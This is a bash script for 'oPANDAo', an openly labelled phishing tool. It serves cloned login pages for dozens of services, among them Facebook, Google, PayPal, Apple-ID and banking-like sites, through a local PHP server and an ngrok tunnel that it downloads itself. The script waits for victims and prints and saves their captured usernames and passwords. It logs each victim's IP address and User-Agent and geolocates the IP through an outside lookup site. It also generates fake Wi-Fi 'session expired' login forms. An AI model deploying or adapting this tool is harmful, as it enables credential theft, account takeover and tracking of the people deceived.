opandao.sh

#!/bin/bash
# oPANDAo v1.0 is a advance phishing tool under GNU General Public License v3.0 
# Coded by: @opandao-oo (https://github.com/opandao-oo/oPANDAoPhishing.git)
# This script uses some Phishing Pages generated by SocialFish tool (UndeadSec) (https://github.com/UndeadSec/SocialFish)

clear
echo ""
echo ""
echo ""
read -p $'\e[1;40m\e[96m Y O U   W A N N A   B E   M Y   F R I E N D  ? \e[1;91m (Y/N) : \e[0m' option
echo""
echo""
echo""

if [[ $option == *'N'* ]]; then
clear
exit
fi
if [[ $option == *'n'* ]]; then
clear
exit
fi

trap 'printf "\n";stop;exit 1' 2


dependencies() {

command -v php > /dev/null 2>&1 || { echo >&2 "I require php but it's not installed. Install it. Aborting."; exit 1; }
command -v wget > /dev/null 2>&1 || { echo >&2 "I require wget but it's not installed. Install it. Aborting."; exit 1; }
command -v unzip > /dev/null 2>&1 || { echo >&2 "I require unzip but it's not installed. Install it. Aborting."; exit 1; }
command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed. Install it. Aborting."; exit 1; }

}

menu() {

printf "\e[0m\e[1;91m     ------------------------------------------------------------------   \e[0m\n" 
printf "\e[0m\e[1;91m     |                    W E B - P A G E S (N E W)                   |    \e[0m\n"
printf "\e[0m\e[1;91m     ------------------------------------------------------------------    \e[0m\n"
printf "           \e[1;101m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;0m Facebook\e[0m      \e[1;101m[\e[0m\e[1;77m15\e[0m\e[1;92m]\e[0m\e[1;0m PayPal\e[0m             \e[1;101m[\e[0m\e[1;77m29\e[0m\e[1;92m]\e[0m\e[1;0m Tiktok\e[0m\n"                              
printf "           \e[1;101m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;0m Google\e[0m        \e[1;101m[\e[0m\e[1;77m16\e[0m\e[1;92m]\e[0m\e[1;0m Github\e[0m             \e[1;101m[\e[0m\e[1;77m30\e[0m\e[1;92m]\e[0m\e[1;0m Reddit\e[0m\n"
printf "           \e[1;101m[\e[0m\e[1;77m03\e[0m\e[1;92m]\e[0m\e[1;0m Twitter\e[0m       \e[1;101m[\e[0m\e[1;77m17\e[0m\e[1;92m]\e[0m\e[1;0m Pinterest\e[0m          \e[1;101m[\e[0m\e[1;77m31\e[0m\e[1;92m]\e[0m\e[1;0m WT-Social\e[0m\n"
printf "           \e[1;101m[\e[0m\e[1;77m04\e[0m\e[1;92m]\e[0m\e[1;0m Instagram\e[0m     \e[1;101m[\e[0m\e[1;77m18\e[0m\e[1;92m]\e[0m\e[1;0m Verizon\e[0m            \e[1;101m[\e[0m\e[1;77m32\e[0m\e[1;92m]\e[0m\e[1;0m Quora\e[0m\n"                
printf "           \e[1;101m[\e[0m\e[1;77m05\e[0m\e[1;92m]\e[0m\e[1;0m Snapchat\e[0m      \e[1;101m[\e[0m\e[1;77m19\e[0m\e[1;92m]\e[0m\e[1;0m Steam\e[0m              \e[1;101m[\e[0m\e[1;77m33\e[0m\e[1;92m]\e[0m\e[1;0m Snapfish\e[0m\n"                
printf "           \e[1;101m[\e[0m\e[1;77m06\e[0m\e[1;92m]\e[0m\e[1;0m Yahoo\e[0m         \e[1;101m[\e[0m\e[1;77m20\e[0m\e[1;92m]\e[0m\e[1;0m Twitch\e[0m             \e[1;101m[\e[0m\e[1;77m34\e[0m\e[1;92m]\e[0m\e[1;0m Expert-IQ\e[0m\n"
printf "           \e[1;101m[\e[0m\e[1;77m07\e[0m\e[1;92m]\e[0m\e[1;0m Linkedin\e[0m      \e[1;101m[\e[0m\e[1;77m21\e[0m\e[1;92m]\e[0m\e[1;0m Yandex\e[0m             \e[1;101m[\e[0m\e[1;77m35\e[0m\e[1;92m]\e[0m\e[1;0m Telegram\e[0m\n"
printf "           \e[1;101m[\e[0m\e[1;77m08\e[0m\e[1;92m]\e[0m\e[1;0m Microsoft\e[0m     \e[1;101m[\e[0m\e[1;77m22\e[0m\e[1;92m]\e[0m\e[1;0m Badoo\e[0m              \e[1;101m[\e[0m\e[1;77m36\e[0m\e[1;92m]\e[0m\e[1;0m Youtube\e[0m\n"        
printf "           \e[1;101m[\e[0m\e[1;77m09\e[0m\e[1;92m]\e[0m\e[1;0m Apple-ID\e[0m      \e[1;101m[\e[0m\e[1;77m23\e[0m\e[1;92m]\e[0m\e[1;0m Devian-Art\e[0m         \e[1;101m[\e[0m\e[1;77m37\e[0m\e[1;92m]\e[0m\e[1;0m LibertPay\e[0m\n"         
printf "           \e[1;101m[\e[0m\e[1;77m10\e[0m\e[1;92m]\e[0m\e[1;0m Protonmail\e[0m    \e[1;101m[\e[0m\e[1;77m24\e[0m\e[1;92m]\e[0m\e[1;0m Shopping\e[0m           \e[1;101m[\e[0m\e[1;77m38\e[0m\e[1;92m]\e[0m\e[1;0m ip-Finder\e[0m\n"
printf "           \e[1;101m[\e[0m\e[1;77m11\e[0m\e[1;92m]\e[0m\e[1;0m WiFi\e[0m          \e[1;101m[\e[0m\e[1;77m25\e[0m\e[1;92m]\e[0m\e[1;0m Amazon\e[0m             \e[1;101m[\e[0m\e[1;77m39\e[0m\e[1;92m]\e[0m\e[1;0m Flipcart\e[0m\n"
printf "           \e[1;101m[\e[0m\e[1;77m12\e[0m\e[1;92m]\e[0m\e[1;0m Wordpress\e[0m     \e[1;101m[\e[0m\e[1;77m26\e[0m\e[1;92m]\e[0m\e[1;0m iCloud\e[0m\n"
printf "           \e[1;101m[\e[0m\e[1;77m13\e[0m\e[1;92m]\e[0m\e[1;0m Badoo\e[0m         \e[1;101m[\e[0m\e[1;77m27\e[0m\e[1;92m]\e[0m\e[1;0m Spotify\e[0m\n"                                          
printf "           \e[1;101m[\e[0m\e[1;77m14\e[0m\e[1;92m]\e[0m\e[1;0m Shopify\e[0m       \e[1;101m[\e[0m\e[1;77m28\e[0m\e[1;92m]\e[0m\e[1;0m Netflix\e[0m\e[1;94m\n"                      


read -p $'\n\e[1;0m[\e[0m\e[1;77m*\e[0m\e[1;77m] Choose an option: \e[93m\en' option 


if [[ $option == 1 ]]; then
server="facebook"
start

elif [[ $option == 2 ]]; then
server="google"
start
elif [[ $option == 3 ]]; then
server="twitter"
start
elif [[ $option == 4 ]]; then
server="instagram"
start
elif [[ $option == 5 ]]; then
server="snapchat"
start
elif [[ $option == 6 ]]; then
server="yahoo"
start

elif [[ $option == 7 ]]; then
server="linkedin"
start

elif [[ $option == 8 ]]; then
server="microsoft"
start

elif [[ $option == 9 ]]; then
server="apple"
start

elif [[ $option == 10 ]]; then
server="protomail"
start

elif [[ $option == 11 ]]; then
server="wifi"
start

elif [[ $option == 12 ]]; then
server="wordpress"
start

elif [[ $option == 13 ]]; then
server="badoo"
start

elif [[ $option == 14 ]]; then
server="shopify"
start

elif [[ $option == 15 ]]; then
server="paypal"
start

elif [[ $option == 16 ]]; then
server="github"
start

elif [[ $option == 17 ]]; then
server="pinterest"
start

elif [[ $option == 18 ]]; then
server="verizon"
start

elif [[ $option == 19 ]]; then
server="stream"
start

elif [[ $option == 20 ]]; then
server="twitch"
start

elif [[ $option == 21 ]]; then
server="yandex"
start

elif [[ $option == 22 ]]; then
server="devianart"
start

elif [[ $option == 23 ]]; then
server="shopping"
start

elif [[ $option == 24 ]]; then
server="amazon"
start

elif [[ $option == 25 ]]; then
server="icloud"
start

elif [[ $option == 26 ]]; then
server="spotify"
start

elif [[ $option == 27 ]]; then
server="netflix"
start

elif [[ $option == 28 ]]; then
server="dropbox"
start

elif [[ $option == 29 ]]; then
server="tiktok"
start

elif [[ $option == 30 ]]; then
server="reddit"
start

elif [[ $option == 31 ]]; then
server="wtsocial"
start

elif [[ $option == 32 ]]; then
server="quora"
start

elif [[ $option == 33 ]]; then
server="snapfish"
start

elif [[ $option == 34 ]]; then
server="expertiqtrading"
start

elif [[ $option == 35 ]]; then
server="telegram"
start

elif [[ $option == 36 ]]; then
server="youtube"
start

elif [[ $option == 37 ]]; then
server="libertpay"
start

elif [[ $option == 38 ]]; then
server="ipfinder"
start

elif [[ $option == 39 ]]; then
server="flipcart"
start

elif [[ $option == 40 ]]; then
server="create"
createpage
start

else
printf "\e[1;93m [!] Invalid option!\e[0m\n"
menu
fi
}

stop() {

checkngrok=$(ps aux | grep -o "ngrok" | head -n1)
checkphp=$(ps aux | grep -o "php" | head -n1)
if [[ $checkngrok == *'ngrok'* ]]; then
pkill -f -2 ngrok > /dev/null 2>&1
killall -2 ngrok > /dev/null 2>&1
fi
if [[ $checkphp == *'php'* ]]; then
pkill -f -2 php > /dev/null 2>&1
killall -2 php > /dev/null 2>&1
fi


}

banner() {


printf "  \e[0m\e[1;91m                                                                \e[0m\n"
printf "  \e[0m\e[1;92m                  ----                  ----                    \e[0m\n"
printf "  \e[0m\e[1;93m                 /    \                /    \                   \e[0m\n"                               
printf "  \e[0m\e[1;94m                (      )              (      )                  \e[0m\n"               
printf "  \e[0m\e[1;95m                 \    /                \    /                   \e[0m\n"           
printf "  \e[0m\e[1;96m                  --------------------------                    \e[0m\n"                       
printf "  \e[0m\e[1;91m                 -                          -                   \e[0m\n"
printf "  \e[0m\e[1;92m                -   ---               ---    -                  \e[0m\n"     
printf "  \e[0m\e[1;93m               -    \  \              \  \    -                 \e[0m\n"
printf "  \e[0m\e[1;94m              -      \ +\              \ +\    -                \e[0m\n"
printf "  \e[0m\e[1;95m             -        ---               ---     -               \e[0m\n"  
printf "  \e[0m\e[1;96m            (                 ____               )              \e[0m\n"  
printf "  \e[0m\e[1;91m             -               (____)             -               \e[0m\n"   
printf "  \e[0m\e[1;92m              -                !!              -                \e[0m\n" 
printf "  \e[0m\e[1;93m               -             \____/           -                 \e[0m\n"    
printf "  \e[0m\e[1;94m                -                            -                  \e[0m\n"
printf "  \e[0m\e[1;95m                 -                          -                   \e[0m\n"
printf "  \e[0m\e[1;96m                  --------------------------    oPANDAo Phishing\e[0m\n"
printf "\n"
printf "\e[1;77m         ______   _      _        _      _         ___________     \e[0m\n"
printf "\e[1;77m        (_____ \ | |    (_)      | |    (_)       / |________/     \e[0m\n"
printf "\e[1;77m         _____) )| | _   _   ___ | | _   _ \_  _  | |     ______   \e[0m\n"
printf "\e[1;77m        |  ____/ | || \ | | /___)| || \ | || || \ | |    |____  \  \e[0m\n"
printf "\e[1;77m        | |      | | | || ||___ || | | || || | | || |_____\ | | |  \e[0m\n"
printf "\e[1;77m        | |      |_| |_||_|(___/ |_| |_||_||_| |_||_________/ |_|  v1.0\e[0m\n"
printf "\n"
printf "  \e[0m\e[1;77m         ===================================================            \e[0m\n"
printf "  \e[0m\e[1;77m                     T O O L   B Y   P A N D A                          \e[0m\n"
printf "  \e[0m\e[1;77m         ===================================================            \e[0m\n"
printf "  \e[0m\e[1;77m         +++++++++++GITHUB-PROFILE+++@opandao-oo++++++++++++            \e[0m\n"
printf "  \e[0m\e[1;77m         ===================================================            \e[0m\n"      
printf "  \e[0m\e[1;77m                E D U C A T I O N A L   P U R P O S E                   \e[0m\n"
printf "  \e[0m\e[1;77m         ===================================================            \e[0m\n"
printf "\n"
printf "  \e[101m\e[1;77m                      |   T H A N K   Y O U    |                         \e[0m\n"
printf "\n"
}

createpage() {
default_cap1="Wi-fi Session Expired"
default_cap2="Please login again."
default_user_text="Username:"
default_pass_text="Password:"
default_sub_text="Log-In"

read -p $'\e[1;101m[\e[0m\e[1;77m*\e[0m\e[1;101m] Title 1 (Default: Wi-fi Session Expired): \e[0m' cap1
cap1="${cap1:-${default_cap1}}"

read -p $'\e[1;101m[\e[0m\e[1;77m*\e[0m\e[1;101m] Title 2 (Default: Please login again.): \e[0m' cap2
cap2="${cap2:-${default_cap2}}"

read -p $'\e[1;101m[\e[0m\e[1;77m*\e[0m\e[1;101m] Username field (Default: Username:): \e[0m' user_text
user_text="${user_text:-${default_user_text}}"

read -p $'\e[1;101m[\e[0m\e[1;77m*\e[0m\e[1;101m] Password field (Default: Password:): \e[0m' pass_text
pass_text="${pass_text:-${default_pass_text}}"

read -p $'\e[1;101m[\e[0m\e[1;77m*\e[0m\e[1;101m] Submit field (Default: Log-In): \e[0m' sub_text
sub_text="${sub_text:-${default_sub_text}}"

echo "<!DOCTYPE html>" > sites/create/login.html
echo "<html>" >> sites/create/login.html
echo "<body bgcolor=\"gray\" text=\"white\">" >> sites/create/login.html
IFS=$'\n'
printf '<center><h2> %s <br><br> %s </h2></center><center>\n' $cap1 $cap2 >> sites/create/login.html
IFS=$'\n'
printf '<form method="POST" action="login.php"><label>%s </label>\n' $user_text >> sites/create/login.html
IFS=$'\n'
printf '<input type="text" name="username" length=64>\n' >> sites/create/login.html
IFS=$'\n'
printf '<br><label>%s: </label>' $pass_text >> sites/create/login.html
IFS=$'\n'
printf '<input type="password" name="password" length=64><br><br>\n' >> sites/create/login.html
IFS=$'\n'
printf '<input value="%s" type="submit"></form>\n' $sub_text >> sites/create/login.html
printf '</center>' >> sites/create/login.html
printf '<body>\n' >> sites/create/login.html
printf '</html>\n' >> sites/create/login.html


}

catch_cred() {

account=$(grep -o 'Account:.*' sites/$server/usernames.txt | cut -d " " -f2)
IFS=$'\n'
password=$(grep -o 'Pass:.*' sites/$server/usernames.txt | cut -d ":" -f2)
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m]\e[0m\e[1;77m Account:\e[0m\e[1;77m %s\n\e[0m" $account
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m]\e[0m\e[1;77m Password:\e[0m\e[1;77m %s\n\e[0m" $password
cat sites/$server/usernames.txt >> sites/$server/saved.usernames.txt
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Saved:\e[0m\e[1;77m sites/%s/saved.usernames.txt\e[0m\n" $server
killall -2 php > /dev/null 2>&1
killall -2 ngrok > /dev/null 2>&1
exit 1

}

getcredentials() {
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Waiting credentials ...\e[0m\n"
while [ true ]; do


if [[ -e "sites/$server/usernames.txt" ]]; then
printf "\n\e[1;93m[\e[0m*\e[1;93m]\e[0m\e[1;92m Credentials Found!\n"
catch_cred

fi
sleep 1
done 


}

catch_ip() {
touch sites/$server/saved.usernames.txt
ip=$(grep -a 'IP:' sites/$server/ip.txt | cut -d " " -f2 | tr -d '\r')
IFS=$'\n'
ua=$(grep 'User-Agent:' sites/$server/ip.txt | cut -d '"' -f2)
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Victim IP:\e[0m\e[1;77m %s\e[0m\n" $ip
printf "\e[1;94m[\e[0m\e[1;77m*\e[0m\e[1;94m] User-Agent:\e[0m\e[1;77m %s\e[0m\n" $ua
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Saved:\e[0m\e[1;77m %s/saved.ip.txt\e[0m\n" $server
cat sites/$server/ip.txt >> sites/$server/saved.ip.txt


if [[ -e iptracker.log ]]; then
rm -rf iptracker.log
fi

IFS='\n'
iptracker=$(curl -s -L "www.ip-tracker.org/locator/ip-lookup.php?ip=$ip" --user-agent "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31" > iptracker.log)
IFS=$'\n'
continent=$(grep -o 'Continent.*' iptracker.log | head -n1 | cut -d ">" -f3 | cut -d "<" -f1)
printf "\n"
hostnameip=$(grep  -o "</td></tr><tr><th>Hostname:.*" iptracker.log | cut -d "<" -f7 | cut -d ">" -f2)
if [[ $hostnameip != "" ]]; then
printf "\e[1;94m[*] Hostname:\e[0m\e[1;77m %s\e[0m\n" $hostnameip
fi
##

reverse_dns=$(grep -a "</td></tr><tr><th>Hostname:.*" iptracker.log | cut -d "<" -f1)
if [[ $reverse_dns != "" ]]; then
printf "\e[1;94m[*] Reverse DNS:\e[0m\e[1;77m %s\e[0m\n" $reverse_dns
fi
##


if [[ $continent != "" ]]; then
printf "\e[1;94m[*] Continent:\e[0m\e[1;77m %s\e[0m\n" $continent
fi
##

country=$(grep -o 'Country:.*' iptracker.log | cut -d ">" -f3 | cut -d "&" -f1)
if [[ $country != "" ]]; then
printf "\e[1;94m[*] Country:\e[0m\e[1;77m %s\e[0m\n" $country
fi
##

state=$(grep -o "tracking lessimpt.*" iptracker.log | cut -d "<" -f1 | cut -d ">" -f2)
if [[ $state != "" ]]; then
printf "\e[1;94m[*] State:\e[0m\e[1;77m %s\e[0m\n" $state
fi
##
city=$(grep -o "City Location:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2)

if [[ $city != "" ]]; then
printf "\e[1;94m[*] City Location:\e[0m\e[1;77m %s\e[0m\n" $city
fi
##

isp=$(grep -o "ISP:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2)
if [[ $isp != "" ]]; then
printf "\e[1;94m[*] ISP:\e[0m\e[1;77m %s\e[0m\n" $isp
fi
##

as_number=$(grep -o "AS Number:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2)
if [[ $as_number != "" ]]; then
printf "\e[1;94m[*] AS Number:\e[0m\e[1;77m %s\e[0m\n" $as_number
fi
##

ip_speed=$(grep -o "IP Address Speed:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2)
if [[ $ip_speed != "" ]]; then
printf "\e[1;94m[*] IP Address Speed:\e[0m\e[1;77m %s\e[0m\n" $ip_speed
fi
##
ip_currency=$(grep -o "IP Currency:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2)

if [[ $ip_currency != "" ]]; then
printf "\e[1;77m[*] IP Currency:\e[0m\e[1;77m %s\e[0m\n" $ip_currency
fi
##
printf "\n"
rm -rf iptracker.log

getcredentials
}

start() {
if [[ -e sites/$server/ip.txt ]]; then
rm -rf sites/$server/ip.txt

fi
if [[ -e sites/$server/usernames.txt ]]; then
rm -rf sites/$server/usernames.txt

fi


if [[ -e ngrok ]]; then
echo ""
else

printf "\e[1;0m[\e[0m*\e[1;0m] Downloading Ngrok...\n"
arch=$(uname -a | grep -o 'arm' | head -n1)
arch2=$(uname -a | grep -o 'Android' | head -n1)
if [[ $arch == *'arm'* ]] || [[ $arch2 == *'Android'* ]] ; then
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip > /dev/null 2>&1

if [[ -e ngrok-stable-linux-arm.zip ]]; then
unzip ngrok-stable-linux-arm.zip > /dev/null 2>&1
chmod +x ngrok
rm -rf ngrok-stable-linux-arm.zip
else
printf "\e[1;77m[!] Download error... Termux, run:\e[0m\e[1;77m pkg install wget\e[0m\n"
exit 1
fi



else
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip > /dev/null 2>&1 
if [[ -e ngrok-stable-linux-386.zip ]]; then
unzip ngrok-stable-linux-386.zip > /dev/null 2>&1
chmod +x ngrok
rm -rf ngrok-stable-linux-386.zip
else
printf "\e[1;93m[!] Download error... \e[0m\n"
exit 1
fi
fi
fi

printf "\e[1;77m[\e[0m*\e[1;77m] Starting php server...\n"
cd sites/$server && php -S 127.0.0.1:3333 > /dev/null 2>&1 & 
sleep 2
printf "\e[1;77m[\e[0m*\e[1;77m] Starting ngrok server...\n"
./ngrok http 3333 > /dev/null 2>&1 &
sleep 10

link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io")
printf "\e[1;77m[\e[0m*\e[1;77m] Clone Link:\e[0m\e[1;77m %s\e[0m\n" $link
checkfound
}
checkfound() {


printf "\e[1;77m[\e[0m\e[1;77m*\e[0m\e[1;77m] Confirming Target ...\e[0m\n"
while [ true ]; do


if [[ -e "sites/$server/ip.txt" ]]; then
printf "\n\e[1;77m[\e[0m*\e[1;77m] IP Address Found!\n"
catch_ip

fi
sleep 1
done 

}
banner
dependencies
menu